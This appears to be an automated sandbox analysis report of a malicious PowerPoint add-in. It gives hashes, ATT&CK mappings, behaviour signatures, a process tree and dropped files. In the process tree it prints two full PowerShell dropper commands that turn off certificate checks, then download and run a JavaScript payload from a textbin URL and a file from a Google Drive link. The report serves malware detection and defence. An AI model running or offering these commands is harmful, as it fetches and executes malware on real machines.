ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1

General

Target

ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1.ppam
Size

7KB
MD5

d9261e8c36689bfd3facc18f17910dc1
SHA1

ca0b6f093448082a736cc3ea3badf5adeea3ab4e
SHA256

ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1
SHA512

292a0da0b19e6f8950957804ea6cf6a98da954fbc78995481143ac8570793d77a204f732e5b514a503022ac1a1fdc51ad5190478db3f4244271ba2860165a36a
SSDEEP

192:xrXP/aKv8DGxzU0AGgMBnUI0JTuayR1NWO:dXPJxltL9UI0JyayRh

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pt.textbin.net/download/x7sf6t2dgv

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	920	4324	powershell.exe	81
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	536	4324	powershell.exe	81

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	536	powershell.exe
22	920	powershell.exe
24	920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
920	powershell.exe
536	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	drive.google.com
22	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4324	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
536	powershell.exe
536	powershell.exe
920	powershell.exe
920	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	920	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4324	POWERPNT.EXE
4324	POWERPNT.EXE
4324	POWERPNT.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 536	4324	POWERPNT.EXE	84
PID 4324 wrote to memory of 536	4324	POWERPNT.EXE	84
PID 4324 wrote to memory of 920	4324	POWERPNT.EXE	85
PID 4324 wrote to memory of 920	4324	POWERPNT.EXE	85
PID 536 wrote to memory of 1460	536	powershell.exe	90
PID 536 wrote to memory of 1460	536	powershell.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\ca57e4060a2afea98eaca795548668cef05e15c0f3a731c1ddc1aac7562abbd1.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command $UmniN;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$UmniN = $uNTnd.DownloadString( 'https://pt.textbin.net/download/x7sf6t2dgv' ) ;$uNTnd = $uNTnd.DownloadString( $UmniN ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;$uNTnd | Out-File -FilePath x.js -force ;wscript.exe x.js ; exit
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" x.js
    3⤵
    PID:1460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$uNTnd = (New-Object Net.WebClient) ;$uNTnd.Encoding = [System.Text.Encoding]::UTF8 ;$uNTnd.DownloadFile( 'https://drive.google.com/uc?export=download&id=15ocCLsR2ZmidPwSBKFMdpMbEhO5YtYQ4', [System.IO.Path]::GetTempPath() + 'x.pptx' ) ;$x = [System.IO.Path]::GetTempPath() ;Set-Location $x ;start x.pptx ; exit
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
435B

MD5
31c6755b2193d075bb2bdc4c409da9c2

SHA1
3c0fdc6ea3d20cf32224dd63510a6f621308aef8

SHA256
994b55d8a171b354901ec8bb9bd032f509f39b0a932a0021c9653bbc692e6b45

SHA512
3bd2f293782416343b11ebd004cc1ec1b0c8c004d6b426c0138cbf87aae229a1a1e199f2ccc97e91a1229ed83c66d3dac5fa17f2a07262b8a79701f1ac5d0295

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ek45dmua.dbn.psm1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\x.js

Filesize
1KB

MD5
445d124223ce3f0e08a0ae4058c43785

SHA1
f86d49541baa26af050371595a0ae86eeb1a9944

SHA256
e7aaad63724fe31051a2321cdb30e760bbfabb4f6cc2606a41fa1c18719ce87b

SHA512
07bd5136ea8d1f1933ed3b96fa724ad65a70a0cf74f2162cff9d3689d5facee84e081036ac71eacf3569c8dfb53c103acedcca0f11f7914630494edbb371ce13

Download Submit
memory/536-26-0x00000152FB7F0000-0x00000152FB812000-memory.dmp

Filesize
136KB

Download
memory/4324-7-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/4324-22-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-8-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-10-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-9-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-4-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/4324-11-0x00007FFD1C0E0000-0x00007FFD1C0F0000-memory.dmp

Filesize
64KB

Download
memory/4324-12-0x00007FFD1C0E0000-0x00007FFD1C0F0000-memory.dmp

Filesize
64KB

Download
memory/4324-23-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-0-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/4324-6-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-5-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-2-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/4324-3-0x00007FFD1E3B0000-0x00007FFD1E3C0000-memory.dmp

Filesize
64KB

Download
memory/4324-1-0x00007FFD5E3CD000-0x00007FFD5E3CE000-memory.dmp

Filesize
4KB

Download
memory/4324-59-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-60-0x00007FFD5E3CD000-0x00007FFD5E3CE000-memory.dmp

Filesize
4KB

Download
memory/4324-61-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download
memory/4324-62-0x00007FFD5E330000-0x00007FFD5E525000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads